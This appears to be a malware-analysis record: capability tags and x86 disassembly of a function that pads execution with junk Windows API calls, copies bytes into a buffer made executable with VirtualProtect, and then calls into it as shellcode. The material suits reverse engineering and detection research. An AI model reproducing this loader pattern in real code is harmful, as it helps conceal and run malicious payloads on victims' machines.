Function at 0x4036ba
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040a120
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4036fd
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x40370e
inc edi
cmp edi, 0x67d12
jl 0x4036ce
cmp dword [0x24619ec], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x4037db
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x81c]
push eax
push esi
push 0x4031e4
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.004046fb
push esi
call fcn.0040411a
pop ecx
pop ecx
lea ecx, [ebp - 0x14]
call fcn.00404142
lea ecx, [ebp - 0x14]
call fcn.0040417e
push esi
call fcn.004043b8
push esi
call fcn.004043ce
push esi
push esi
call fcn.00404103
push esi
push esi
call fcn.00404546
push esi
call fcn.00404866
push esi
call fcn.004044fc
add esp, 0x20
add dword [0x24619ec], 0x1134b
push dword [0x24619ec]
mov eax, dword [0x43a6fc]
push esi
mov dword [0x2462828], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x24619ec]
mov dword [0x246147c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x403819
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp dword [0x24619ec], esi
jbe 0x40388a
mov eax, dword [0x2462828]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x246147c]
mov byte [ecx + edi], al
cmp dword [0x24619ec], 0x490
jne 0x403881
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x24619ec]
jb 0x40383d
xor edi, edi
mov eax, dword [0x24619ec]
add eax, edi
cmp eax, 0x8d
jne 0x4038c8
push esi
lea eax, [ebp - 0x41c]
push eax
push esi
push 0x403214
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x40388c
call fcn.004035d8
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4038f7
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x920e
mov eax, dword [ebp - 4]
add dword [0x246147c], eax
inc edi
cmp edi, 0x674bd
jl 0x4038d8
push 0x7b
pop edi
cmp dword [0x24619ec], 0x86
jne 0x40394f
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x41c]
push eax
push 0x403218
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
lea eax, [ebp - 0x101c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x24619ec], 0xf
jne 0x403962
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
dec edi
jne 0x403903
push 0x403228
call ebx
call dword [0x246147c]
pop edi
pop esi
pop ebx
leave
ret